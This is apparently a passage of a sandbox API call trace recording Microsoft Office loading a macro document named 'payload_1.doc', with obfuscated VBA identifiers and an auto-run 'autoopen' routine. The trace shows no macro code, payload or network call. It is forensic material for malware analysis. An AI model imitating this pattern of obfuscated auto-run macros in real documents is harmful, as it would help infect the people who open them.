lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="²", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="³", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="´", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="µ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¶", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="·", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¸", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¹", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="º", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="»", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¼", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="½", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¾", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¿", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="À", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Á", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Â", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ã", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ä", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Å", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Æ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ç", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="È", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="É", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ê", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ë", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ì", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Í", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Î", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ï", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ð", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ñ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ò", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ó", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ô", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Õ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ö", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="×", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ø", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ù", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ú", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Û", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ü", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ý", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.241] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Þ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ß", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="à", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="á", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="â", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ã", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ä", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="å", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="æ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ç", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="è", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="é", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ê", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ë", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ì", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="í", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="î", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ï", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ð", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ñ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ò", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ó", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ô", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="õ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ö", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="÷", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ø", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ù", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ú", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="û", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ü", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ý", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="þ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ÿ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.242] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.243] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Name") returned 0x40e2ff [0094.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa) returned 0x2764b178490 [0094.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b177e10 [0094.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b178490, cbMultiByte=10, lpWideCharStr=0x2764b177e10, cchWideChar=10 | out: lpWideCharStr="Hopertiol") returned 10 [0094.243] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178490) [0094.243] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b177e10) [0094.243] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.243] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Base") returned 0x409fb8 [0094.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x15) returned 0x2764b178490 [0094.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x276455f8d40 [0094.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b178490, cbMultiByte=21, lpWideCharStr=0x276455f8d40, cchWideChar=21 | out: lpWideCharStr="1Normal.ThisDocument") returned 21 [0094.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x276455f8280 [0094.250] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9e900, cb=0x20) returned 0x2764ad4a470 [0094.250] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9e750, cb=0x28) returned 0x2764ad4a4d0 [0094.250] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178490) [0094.250] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8d40) [0094.250] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.250] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_GlobalNameSpace") returned 0x40ce77 [0094.250] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.250] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.250] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Creatable") returned 0x401d92 [0094.250] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.250] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_PredeclaredId") returned 0x405fc7 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Exposed") returned 0x4030b3 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_TemplateDerived") returned 0x409f1e [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Customizable") returned 0x40c26d [0094.251] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0094.252] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b545700, cb=0x258) returned 0x2764b545700 [0094.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f4090, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.253] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f41d0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.253] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.253] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c083520, cb=0x10) returned 0x2764b178490 [0094.253] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa2c40 [0094.253] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764afa2c40) returned 0x80 [0094.253] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b245b80 [0094.253] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b245340 [0094.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f4090, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.253] CoCreateGuid (in: pguid=0xb5690f3dc0 | out: pguid=0xb5690f3dc0*(Data1=0x53077c22, Data2=0x6ef0, Data3=0x45de, Data4=([0]=0xaf, [1]=0xf1, [2]=0x3d, [3]=0x49, [4]=0xda, [5]=0xca, [6]=0x5, [7]=0xdf))) returned 0x0 [0094.253] CoCreateGuid (in: pguid=0xb5690f3dd0 | out: pguid=0xb5690f3dd0*(Data1=0x17c6f211, Data2=0x5eb7, Data3=0x40af, Data4=([0]=0xba, [1]=0x79, [2]=0x73, [3]=0xc0, [4]=0x89, [5]=0xca, [6]=0xa7, [7]=0xd4))) returned 0x0 [0094.253] WideCharToMultiByte (in: CodePage=0x3a4, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f3de0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.253] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.253] GetLocalTime (in: lpSystemTime=0xb5690f3cb8 | out: lpSystemTime=0xb5690f3cb8*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x30, wMilliseconds=0x375)) [0094.253] _ultow_s (in: _Value=0x612782e8, _Buffer=0x2764b249ce4, _BufferCount=0x9, _Radix=16 | out: _Buffer="612782e8") returned 0x0 [0094.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="02612782e8", cchWideChar=11, lpMultiByteStr=0xb5690f3c50, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="02612782e8", lpUsedDefaultChar=0x0) returned 11 [0094.253] strcpy_s (in: _Dst=0x2764b1637d0, _DstSize=0x9, _Src="Brofaset" | out: _Dst="Brofaset") returned 0x0 [0094.253] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x27645202980, cb=0xd0) returned 0x2764b607090 [0094.253] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.253] wcscpy_s (in: _Destination=0x2764b249cf8, _SizeInWords=0x9, _Source="Brofaset" | out: _Destination="Brofaset") returned 0x0 [0094.253] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.254] wcscpy_s (in: _Destination=0x2764b249d50, _SizeInWords=0x9, _Source="Brofaset" | out: _Destination="Brofaset") returned 0x0 [0094.254] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b178190, cb=0x24) returned 0x2764ad49f00 [0094.254] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9eb10, cb=0xc) returned 0x2764b177e10 [0094.254] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x78) returned 0x27645554810 [0094.254] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1aa970) [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad4a1a0 [0094.254] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad4a1a0, cb=0xa4) returned 0x2764b64d360 [0094.254] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645554810) [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2764b6ff050 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad4a6b0 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b177e50 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3db0 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763c064bf0 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e900 [0094.254] wcsncpy_s (in: _Destination=0xb5690f3da0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0094.254] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0094.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3cd0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0094.254] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0094.254] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x688) returned 0x27644edeb20 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3390 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2764b40ab10 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad4a050 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9eb10 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e750 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad4a0b0 [0094.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa2a90 [0094.255] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2ee0) returned 0x2764b545970 [0094.255] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_Evaluate") returned 0x40d918 [0094.255] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.255] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Name") returned 0x40e2ff [0094.255] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x9) returned 0x2764b177e70 [0094.255] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12) returned 0x2764b177eb0 [0094.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b177e70, cbMultiByte=9, lpWideCharStr=0x2764b177eb0, cchWideChar=9 | out: lpWideCharStr="Brofaset") returned 9 [0094.255] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b177e70) [0094.255] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b177eb0) [0094.255] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Private") returned 0x4073c3 [0094.255] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="HYyetwertuFGHFTrt5ertRFGXFD") returned 0x405072 [0094.255] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x276455f8b00 [0094.255] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x27649aa0000 [0094.257] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sub") returned 0x40d5ac [0094.257] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="autoopen") returned 0x402ad9 [0094.258] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Open") returned 0x400767 [0094.258] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x276455f8a00 [0094.258] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x27651c40000 [0094.259] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.259] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Tag") returned 0x40d826 [0094.259] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="For") returned 0x408f59 [0094.259] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Binary") returned 0x4008a0 [0094.260] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="As") returned 0x405c8d [0094.260] atoi (_Str="1") returned 1 